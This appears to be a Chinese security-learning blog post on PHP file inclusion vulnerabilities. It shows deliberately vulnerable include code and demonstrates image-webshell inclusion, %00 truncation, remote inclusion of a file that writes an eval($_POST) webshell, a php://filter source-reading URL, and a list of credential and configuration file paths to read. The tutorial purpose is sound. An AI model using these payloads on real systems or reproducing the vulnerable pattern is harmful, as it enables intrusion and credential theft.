文件包含漏洞

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过

介绍

文件包含漏洞是指开发者再开发过程中不正确地使用了文件包含函数,导致用户可以非法控制文件包含的内容,从而产生的漏洞。

常见的包含函数

在这里以php举例

PHP中提供了四个文件包含的函数,分别是include(),include_once(),require(),require_once()

函数介绍
require找不到北包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
require_once与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
include找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
include_once与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

实例

看一个实例
某网站存在文件上传点和文件包含漏洞
index.php

<?php
    if (isset($_GET['page'])){
        include $_GET['page'];
    }else{

    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>
<?php }?>

upload.php

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $suffix=substr(strrchr($name, '.'), 1);
    $white=['jpg','png','gif'];
    $flag = false;
    for ($i=0;$i<count($white);$i++){
        if ($white[$i]==$suffix){
            $flag=true;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置:<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "请上传图片文件";
    }
}
?>

由于白名单的限制,用户不能将恶意代码上传到网站服务器。

但由于存在文件包含漏洞,所以存在绕过的方法。

首先上传图片马2.png,保存在 /uploads/2.png
在这里插入图片描述
接下来再包含页包含这个图片马,此时图片马的内容就会当做PHP的代码解析。

在这里插入图片描述
使得攻击者成功拿下WebShell

截断绕过

某些开发者认为文件上传漏洞很容易解决,只要固定文件名即可
index.php

<?php
    if (isset($_GET['page'])){
        include $_GET['page'].".php";
    }else{

    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>
<?php }?>

此时再访问图片马,就会报错,因为此时包含的文件位置是**/uploads/2.png.php**,但这个文件在服务器中是不存在的,导致无法包含。

但此时可以使用%00进行截断,前提magic_quotes_gpc=Off && version<5.3.4

http://192.168.1.5/?page=/uploads/2.png%00
在这里插入图片描述

远程包含

条件:allow_url_fopen=On
在这里插入图片描述
此时如果我有一个可控制的服务器上存在一个PHP文件,内容为
http://192.168.1.5/1.php

<?php
phpinfo();
?>

我在被攻击的服务器上可以远程包含此文件,此时文件的内容就会当做php解析
在这里插入图片描述
假如远程包含的内容是条件竞争的代码,就会生成一个WebShell

<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[manlu]); ?>'); ?>

敏感目录

在各种系统下都有一些敏感目录,可以尝试包含

Windows
C:\boot.ini
查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml
IIS配置文件

C:\windows/repair\sam
存储Windows系统初次安装的密码

C:\Program Files\mysql\my.ini
MySQL配置

C:\Program Files\mysql\data\mysql\user.MYD
MySQL root

C:\windows/php.ini
PHP配置文件

C:\windows/my.ini MySQL
配置文件

Linux
/etc/passwd

/usr/local/app/apache2/conf/httpd.conf
apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
虚拟网站设置

/usr/local/app/php5/lib/php.ini
PHP相关配置

/etc/httpd/conf/httpd.conf
Apache配置文件

/etc/my.cnf
MySQL配置文件

PHP封装协议

PHP有很多内置URL风格的封装协议。

PHP内置协议
名称含义
files://访问本地文件系统
http://访问HTTP(s)网址
ftp://访问FTP(s) URLs
php://访问输入/输出流(I/O Stream)
zlib://压缩流
data://数据 (RFC 2397)
ssh2://Secure Shell 2
expect://处理交互式的流
glob://查找匹配的文件路径

例如可以通过这些协议读取文件
假如我要读取index.php的内容

http://192.168.1.8/?page=php://filter/read=convert.base64-encode/resource=index.php

这样就得到了index.php加密后的结果(Base64)

解密后在这里插入图片描述

<?php
    if (isset($_GET['page'])){
        include $_GET['page'];
    }else{

    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>
<?php }?>

更多的协议信息参照
https://www.php.net/manual/zh/wrappers.php

防范

严格规范用户的输入,永远不要相信用户的输入

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值